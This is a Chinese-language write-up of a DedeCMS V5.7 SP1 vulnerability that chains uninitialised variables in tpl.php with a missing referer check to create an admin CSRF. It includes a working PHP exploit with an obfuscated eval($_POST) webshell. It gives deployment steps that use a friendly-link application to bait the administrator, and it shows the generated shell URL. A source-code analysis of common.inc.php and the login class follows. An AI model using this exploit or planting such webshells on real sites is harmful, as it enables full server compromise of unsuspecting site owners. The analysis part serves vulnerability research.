DedeCMS flink_add Getshell漏洞 管理員CSRF漏洞
1、漏洞利用
由於tpl.php中的$action,$content,$filename變量沒有初始化,從而能操縱這些變量寫入任意的代碼。
又由於應用沒有對管理員的來源頁進行任何檢查,只是檢查了管理員是否登陸,從而造成了CSRF漏洞。
因此可以誘導管理員以管理員的權限寫入代碼即可。
測試版本:DedeCMS-V5.7-UTF8-SP1-Full 20150618
exp:
<?php
//print_r($_SERVER);
$referer = $_SERVER['HTTP_REFERER'];
$dede_login = str_replace("friendlink_main.php","",$referer);//去掉friendlink_main.php,取得dede后台的路徑
//拼接 exp
$muma = '<'.'?'.'@'.'e'.'v'.'a'.'l'.'('.'$'.'_'.'P'.'O'.'S'.'T'.'['.'\''.'c'.'\''.']'.')'.';'.'?'.'>';
$exp = 'tpl.php?action=savetagfile&actiondo=addnewtag&content='. $muma .'&filename=shell.lib.php';
$url = $dede_login.$exp;
//echo $url;
header("location: ".$url);
// send mail coder
exit();
?>
首先,將這個exp部署在公網服務器上
http://192.168.113.129/exp.php
在目標網站的申請友情鏈接處申請一個友情鏈接
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/plus/flink_add.php
網址填寫為先前的 http://192.168.113.129/exp.php, 名稱隨便填,也可填寫誘導性關鍵字引發管理員好奇心。
提交成功之后等待管理員審核,當管理員審核的時候,一般情況下會點進你的網站看一下(漏洞利用關鍵)。
管理員審核:
后台 -> 模塊 -> 輔助插件 -> 友情鏈接
當管理員點這個友情鏈接的時候,就生成了一句話shell,shell地址在/include/taglib/shell.lib.php
事實上,點擊新添加的友情鏈接時,管理員觸發了一個HTTP請求:
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/dede/tpl.php?action=savetagfile&actiondo=addnewtag&content=%3C?@eval($_POST[%27c%27]);?%3E&filename=shell.lib.php
頁面跳轉:
<title>成功修改/創建文件!</title>
生成shell地址:
http://127.0.0.1/DedeCMS-V5.7-UTF8-SP1-Full/include/taglib/shell.lib.php
2、漏洞分析
在tpl.php文件中
/*---------------------------
function savetagfile() { }
保存標簽碎片修改
--------------------------*/
else if($action=='savetagfile')
{
if(!preg_match("#^[a-z0-9_-]{1,}\.lib\.php$#i", $filename))
{
ShowMsg('文件名不合法,不允許進行操作!', '-1');
exit();
}
require_once(DEDEINC.'/oxwindow.class.php');
$tagname = preg_replace("#\.lib\.php$#i", "", $filename);
$content = stripslashes($content);
$truefile = DEDEINC.'/taglib/'.$filename;
$fp = fopen($truefile, 'w');
fwrite($fp, $content);
fclose($fp);
$msg = "
<form name='form1' action='tag_test_action.php' target='blank' method='post'>
<input type='hidden' name='dopost' value='make' />
<b>測試標簽:</b>(需要使用環境變量的不能在此測試)
<textarea name='partcode' cols='150' rows='6' style='width:90%;'>{dede:{$tagname} }{/dede:{$tagname}}</textarea>
<input name='imageField1' type='image' class='np' src='images/button_ok.gif' width='60' height='22' border='0' />
</form>
";
$wintitle = "成功修改/創建文件!";
$wecome_info = "<a href='templets_tagsource.php'>標簽源碼碎片管理</a> >> 修改/新建標簽";
$win = new OxWindow();
$win->AddTitle("修改/新建標簽:");
$win->AddMsgItem($msg);
$winform = $win->GetWindow("hand"," ",false);
$win->Display();
exit();
}
這里是漏洞利用寫入文件的地方,但是我們知道,基本所有的不安全情況,是在數據輸入輸出時發生的,這里的參數是怎么傳遞過來的呢?還有$filename和$content是怎么傳遞參數的呢?繼續跟蹤config.php又 include了 common.inc.php ,而一般情況下,類似common.php這種文件名的,里面存放着一些將會經常用到的函數。繼續跟蹤上去。果然發現了貓膩在common.inc.php 發現了
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v)
{
if($_k == 'nvarname') ${$_k} = $_v;
else ${$_k} = _RunMagicQuotes($_v);
}
}
問題在哪呢? 這段代碼大概的意思是 從數組中獲取獲取參數的方,這里GET,POST,COOKIE方式的參數都有了。
先來跟蹤GET,二層循環中$_GET(這個可以看作是一個全局數組)**$_k ,$_v 獲取數組的key value值.${$_k}這里全局注冊了變量,假如輸入GET型參數 ?test=k4l0n.則在本php頁及所有包含本頁的php頁中 , $test的值都被賦值為了kl0n
而tpl.php中的$action,$content,$filename變量沒有初始化,從而能操縱這些變量寫入任意的代碼。
繼續跟蹤 userLogin類的getUserID函數:
/**
* 獲得用戶的ID
*
* @access public
* @return int
*/
function getUserID()
{
if($this->userID != '')
{
return $this->userID;
}
else
{
return -1;
}
}
userLogin類用戶登錄
/**
* 檢驗用戶是否正確
*
* @access public
* @param string $username 用戶名
* @param string $userpwd 密碼
* @return string
*/
function checkUser($username, $userpwd)
{
global $dsql;
//只允許用戶名和密碼用0-9,a-z,A-Z,'@','_','.','-'這些字符
$this->userName = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $username);
$this->userPwd = preg_replace("/[^0-9a-zA-Z_@!\.-]/", '', $userpwd);
$pwd = substr(md5($this->userPwd), 5, 20);
$dsql->SetQuery("SELECT admin.*,atype.purviews FROM `#@__admin` admin LEFT JOIN `#@__admintype` atype ON atype.rank=admin.usertype WHERE admin.userid LIKE '".$this->userName."' LIMIT 0,1");
$dsql->Execute();
$row = $dsql->GetObject();
if(!isset($row->pwd))
{
return -1;
}
else if($pwd!=$row->pwd)
{
return -2;
}
else
{
$loginip = GetIP();
$this->userID = $row->id;
$this->userType = $row->usertype;
$this->userChannel = $row->typeid;
$this->userName = $row->uname;
$this->userPurview = $row->purviews;
$inquery = "UPDATE `#@__admin` SET loginip='$loginip',logintime='".time()."' WHERE id='".$row->id."'";
$dsql->ExecuteNoneQuery($inquery);
$sql = "UPDATE #@__member SET logintime=".time().", loginip='$loginip' WHERE mid=".$row->id;
$dsql->ExecuteNoneQuery($sql);
return 1;
}
}
/**
* 保持用戶的會話狀態
*
* @access public
* @return int 成功返回 1 ,失敗返回 -1
*/
function keepUser()
{
if($this->userID != '' && $this->userType != '')
{
global $admincachefile,$adminstyle;
if(empty($adminstyle)) $adminstyle = 'dedecms';
@session_register($this->keepUserIDTag);
$_SESSION[$this->keepUserIDTag] = $this->userID;
@session_register($this->keepUserTypeTag);
$_SESSION[$this->keepUserTypeTag] = $this->userType;
@session_register($this->keepUserChannelTag);
$_SESSION[$this->keepUserChannelTag] = $this->userChannel;
@session_register($this->keepUserNameTag);
$_SESSION[$this->keepUserNameTag] = $this->userName;
@session_register($this->keepUserPurviewTag);
$_SESSION[$this->keepUserPurviewTag] = $this->userPurview;
@session_register($this->keepAdminStyleTag);
$_SESSION[$this->keepAdminStyleTag] = $adminstyle;
PutCookie('DedeUserID', $this->userID, 3600 * 24, '/');
PutCookie('DedeLoginTime', time(), 3600 * 24, '/');
$this->ReWriteAdminChannel();
return 1;
}
else
{
return -1;
}
}
通過跟蹤發現,這里沒有對管理員的來源頁進行任何檢查,只是檢查了管理員是否登陸,這就造成了一個CSRF漏洞。到這里漏洞思路就很清晰了,由於變量可控漏洞導致可寫入任意代碼,由於CSRF漏洞誘導管理員以管理員的權限去寫入代碼。